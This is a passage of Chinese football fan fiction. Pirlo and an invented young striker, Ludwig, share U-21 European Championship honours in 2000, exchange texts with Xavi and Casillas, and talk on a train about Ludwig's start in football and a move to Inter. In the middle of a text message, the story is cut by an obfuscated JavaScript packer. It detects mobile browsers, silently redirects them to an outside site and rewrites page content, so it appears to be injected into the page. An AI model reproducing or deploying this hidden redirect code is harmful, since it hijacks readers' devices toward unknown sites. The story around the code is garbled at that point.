赛后皮尔洛毫无疑问地当选了本场比赛最佳球员，两次任意球直接射门，在成年赛场上都是极为罕见的事情，被他轻松自如地实现，这位意大利中场的前途已然光辉灿烂，会有无数俱乐部想要得到他，他已经是颗钻石了，只要稍加雕琢便能熠熠生辉。 “——所以你要不要来找我？”皮尔洛说。 新鲜出炉的未来中场大师把玩着手里的奖牌，好像只是随口一问。 颁奖仪式已经结束，路德维希最终获得了U-21欧青赛最佳球员和金靴奖，而皮尔洛不仅拿到这场比赛的最佳球员，还入选本届赛事的最佳阵容，两个人几乎住在了颁奖台上，刚下来又要上去，在无数灯光下露出礼貌的微笑。 “去哪？”路德维希从手机上回过神，困惑地眨了眨眼。 他正在发消息，接收消息的人是哈维。 奋斗半个月最后只有亚军显然不是什么高兴的事情，西班牙队全员只是礼貌地领取了亚军银牌，一离开镜头眼睛就开始红了，哈维倒是不至于哭得双眼通红，但是卡西利亚斯会，他抱着路德维希不撒手，路德维希只好搂着他让他在自己怀里平复心情，哈维就站在一边冷淡地看着。 过了一会，他似乎实在看不下去了，就把丢人的队友硬生生带走了。 然后路德维希发现他给自己发了消息。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442995|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你为什么不笑？赢了我，你不开心？” “你真傲慢。来找我。” 两条信息一块发过来，让路德维希脑子都要转不过来，但是他不在乎自己的隐私被人看见，可别人发给他的消息未必愿意给第三个人看，于是只好苦哈哈地想着哈维什么意思，也不敢去问聪明的皮尔洛，让他帮自己想回答。 结果皮尔洛也说了奇奇怪怪的话。 “怎么都要我去你们家啊……”路德维希有些苦恼。 如果可以，他想满足自己朋友们的所有愿望，但是朋友们同时邀请他去自己的家乡玩，这就超过他的能力范围了。他可没办法变出五六个自己，一个路德维希去巴塞罗那，一个lulu去马德里，还有一个要去基辅，另外一个回米兰见马尔蒂尼。还有伦敦，伦敦兰帕德还等着路德维希一起去看《狮子王》。 皮尔洛眯起眼，“等等，还有谁？谁请你了？” 装出来的镇定理智都通通飞走，他气得跳脚，几乎一秒锁定了犯罪嫌疑人，可恶的西班牙人，怎么天天勾引他们意大利的前锋！ 路德维希说：“哈维让我去找他，nene也给我发消息了，他问我愿不愿意去马德里玩。” nene是卡西利亚斯的昵称。 “亲爱的lulu，我需要你，”卡西利亚斯抠着字眼发送短信，充分照顾了路德维希的西语水平，“我需要你，我太伤心了，如果你愿意来马德里陪我的话，我就会好了。” “如果你来了，我们可以去乡下骑马、放羊和葡萄园里摘葡萄，今年的葡萄酒要开始酿造了，我们可以一起做葡萄酒，然后把它收藏好，等到将来的某一天，我和你会一起取出酒，那个时候，你会笑话我今天的哭泣吗？” 过了一会，路德维希的消息终于发送过来了。 “不去！” 卡西利亚斯摸着脑袋，开始检查是不是自己打错字，让lulu误会了什么，好朋友一起去乡下玩有什么不对吗？他们西班牙人就是这么热情好客啊。 他琢磨了又琢磨，键盘都要冒烟的时候，路德维希又发来一条新消息。 “nene，葡萄酒好喝吗？” “我真想见到你，希望你没有再因为我哭泣了。你已经上了飞机了吗？可惜我不会魔法，不然我就能立刻出现在你面前，和你一起去马德里了。” “但是现在我要先和安德烈亚回意大利，米兰有许多事情等着我。希望上帝祝福我们，在下次见面前，我会一直想你。” ——来自永远爱你的路德维希。 2000年，跨国短信要收取高昂的费用，大多数人习惯用邮件聊天，不过对于已经升上皇马二队的卡西利亚斯来说，发短信可以让自己和朋友的名字挨在一起，仅这一个好处就可以让他心甘情愿地从工资里掏钱。 “我也爱你。”发送成功。 他轻快得像是一只小鸟飞进了机舱，没有注意到自己的好队友哈维难得不是冷着脸了，后者在飞机起飞前已经关机了，但路德维希发来的话还是在他脑海里不断回响着。 “如果以后有机会，你愿意陪我去看巴塞罗那吗？” “当然。” 哈维不想让路德维希觉得自己一直在等他回消息，这样太廉价，于是他等了半分钟才回复，好像他没有一点触动。 但是直到关机，路德维希还是没有回他。 14.第 14 章 参加欧青赛的青年球员回到科维尔恰诺时，意大利国家队早已前往荷兰和比利时备战欧洲杯了。 路德维希拒绝朋友们去马德里或者巴塞罗那的邀请，是为了回来找马尔蒂尼，可惜国家队队长特意回米兰处理路德维希的租借已经是百忙里挤出的时间，没有机会再亲自和路德维希见面。 欧青赛的胜利好像一个预兆，意大利的未来已经无比灿烂，而他们的现在更应该像是太阳一样耀眼，认为意大利会赢得本届欧洲杯的呼声越来越多，如同阳光下斑斓的气泡，美好梦幻，让人向往。 AC米兰催促路德维希尽快回来签订新合同。 虽然路德维希身上米兰的印记那么浓厚，但是他目前的身份还是米兰内洛的青训球员，AC米兰和他没有真正的职业合同，如果其他俱乐部想要带走他，理论上只需要付出一点微薄的解约金，AC米兰的不安感达到顶峰，必须要立刻和路德维希签约才能放心。 今年欧青赛路德维希彻底地一球成名，参考他的前辈欧文，几乎可以断定他的未来除非遭遇太大的伤病，也会和欧文一样闪耀足坛。就算之前没怎么意动的俱乐部也忍不住出手了，好在路德维希目前没有经纪人，有他私人电话的人也少，大多数俱乐部都卡在了联系本人这一关。 ——别说米兰青训的球员也要和马尔蒂尼一样留在米兰，路德维希本人可是亲口说过不介意去国际米兰的，既然国际米兰都能去，其他俱乐部也能去。 皮尔洛目前的俱乐部是国际米兰，只是因为前几任国米的教练都不怎么看重他，于是他反复地被租借出去，但是今年欧青赛他的表现那么突出，国米已经主动联系他，下个赛季他就会回到梅阿查球场了。 他也要回去签新合同，于是和路德维希一起坐火车从科维尔恰诺回米兰。 “你是怎么想到去踢足球的？”在火车上的小包厢里，皮尔洛忽然问，“我记得你是十一岁才去米兰内洛试训，对足球有兴趣的话，应该更早就会开始训练吧。” 媒体们把路德维希能扒出来的消息都公布了，加上他自己也提到过自己试训的经历，几乎所有人都知道他是11岁的时候才偶然接触足球。 已经是五六年前的事情了，路德维希认真想了一会才想起来那一年发生了什么。 20世纪末是AC米兰这只球队历史上最辉煌的时刻，从1990年开始，在主教练卡佩罗的带领下，他们实现了联赛三连冠。1994年欧冠决赛，他们在雅典奥林匹克体育场击败巴塞罗那，获得了队史上第五个欧冠。 Figurine Panini推出了欧冠限定版AC米兰足球贴纸，最受欢迎的球员是队长弗兰克·巴雷西和青训出身的保罗·马尔蒂尼，后者如同罗马雕像般的脸庞吸引了无数青少年的崇拜与喜爱。 如果有一个男孩有一张马尔蒂尼的球星闪卡，那他一定会成为整个社区最受欢迎的孩子，所有男孩女孩都愿意和他做朋友，只为了亲手摸一摸马尔蒂尼美丽深邃的蓝色眼睛。 同样是在今年，美国世界杯上意大利再次获得亚军，巴西人赢得了自己第四座大力神杯，罗伯特·巴乔射丢了那颗关键点球后忧郁的背影成为这一代所有人忘不掉的记忆。 但当时所有人都还不知道。 整座亚平宁半岛都沉浸在世界杯来临的狂热氛围中，意大利国家队已经出发前往美国，为了保障意大利国家队的后勤，球员每天吃的食材都是从本土空运到美国，媒体们扛着长枪短炮，隔着大西洋把关于世界杯的一切消息都传回了意大利。 电视节目已经被世界杯占领了，人们乐此不疲地试图从每一个名人身上知道他们对意大利国家队的看法，不管他是明星歌手还是总统。贝卢斯科尼已经高调宣称只要意大利进入四强他就将前往美国观赛，在世界杯的时候，连反对他的人都勉强容忍了这种作秀行为。 毕竟这个政客对于足球确实非常关心，只要看看他担任主席的AC米兰就知道了。 在欧冠冠军又或者目前世界杯国家队主力成员的光环下，AC米兰如同往年一样举办的试训吸引了无数怀揣着足球巨星梦的男孩们，他们有的想成为下一个罗伯特·巴乔，有的喜欢巴雷西，还有的深受马尔蒂尼的吸引，这些孩子们只要通过试训就能留在米兰内洛。 但留在青训并不意味着他们一定会升上一线队，多年以来米兰内洛也只是走出了一个马尔蒂尼，更多的青训球员默默无闻，或者终身都没能踏入职业球场，最后只能黯然离开。 这次试训只针对12岁以上的青少年，但AC米兰同样也举办了面对12岁以下孩子的足球夏令营，只要喜欢足球的孩子都可以参加，并不对水平做出限制。 路德维希来到这里是因为他收到了斯卡拉歌剧院送给合唱团小演员们的告别礼物，是意大利国家队盲抽球星闪卡，他撕开包装，第一眼看见了马尔蒂尼蓝色的眼睛。 这不仅是限定版闪卡，还有一份隐藏礼包——AC米兰俱乐部足球夏令营的邀请函。 “幸运的男孩，”卡特琳娜说，手指点着邀请函上闪闪发光的马尔蒂尼的脸，“去试试足球怎么样？” 路德维希勉强想起来了斯卡拉歌剧院的经理的名字，保罗·加洛，他很看好路德维希走上歌剧演员的职业道路，于是给所有的小孩都送了球星闪卡当做礼物，想要通过这样的方式和路德维希打好关系，然后劝说他回到歌剧的怀抱。 但是显然，他没有想到自己的礼物让路德维希走上了另一条道路。 当初穿着小礼服，俊秀得像个小王子一样的孩子成为了一名足球运动员，每天的工作不是唱歌，而是和一群五大三粗的男人在球场上为了一个滚来滚去的足球互相打架。 对于优 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会一本正经地纠结上帝太过偏爱自己的路德维希实在是让皮尔洛忍不住想笑，“哦，所以你不喜欢轻而易举得到的东西？哼哼，你以后肯定是个玩弄感情的坏小子，非得喜欢上不喜欢你的人才开心，谁要是先喜欢上你就完蛋了。” 他的话是这个意思吗，路德维希呆呆地看着皮尔洛，总觉得有什么不对，但他也想不出什么话来解释，只好默认了。 “我第一次踢足球就输掉了，我原本以为我会赢的……” 路德维希以为自己会赢的。 就像过去他在其他的领域那样，因为上帝的偏爱，所以无往不胜——但是他输掉了。 因为意外的失败而欢喜，这是非常傲慢的想法，但是路德维希不可避免地对足球产生了好奇： 我会像之前那样一直赢下去吗？ 神明慷慨地回答路德维希：如果你向我许愿，你就会成为真正的“Vittorio”（胜利）。 那请允许我拒绝向您许愿。 未知的人生，太好了。路德维希对此由衷地感到欣喜。 “那你必须得改掉这个想法，我可是一定要赢的，”皮尔洛出手揪住路德维希的脸，把他漂亮的五官好像揉面团一样搓来搓去，“你得跟我一起赢下去。” “我们还要有很多很多的奖牌，国家队都没进，你就满足了？你是我的前锋，你得和我一起为了意大利举起大力神杯。” “所以——来国米怎么样？” 终于说出口了，皮尔洛浑身轻松下来，有一种尘埃落定的解脱感，先前无数的铺垫其实都只是为了这一句话，就算下了火车之后就要被马尔蒂尼带着一半的米兰人给他灭口了都无所谓，因为还有另一半人会支持他，他们都会穿着蓝黑的球衣，高喊“Forza Inter !”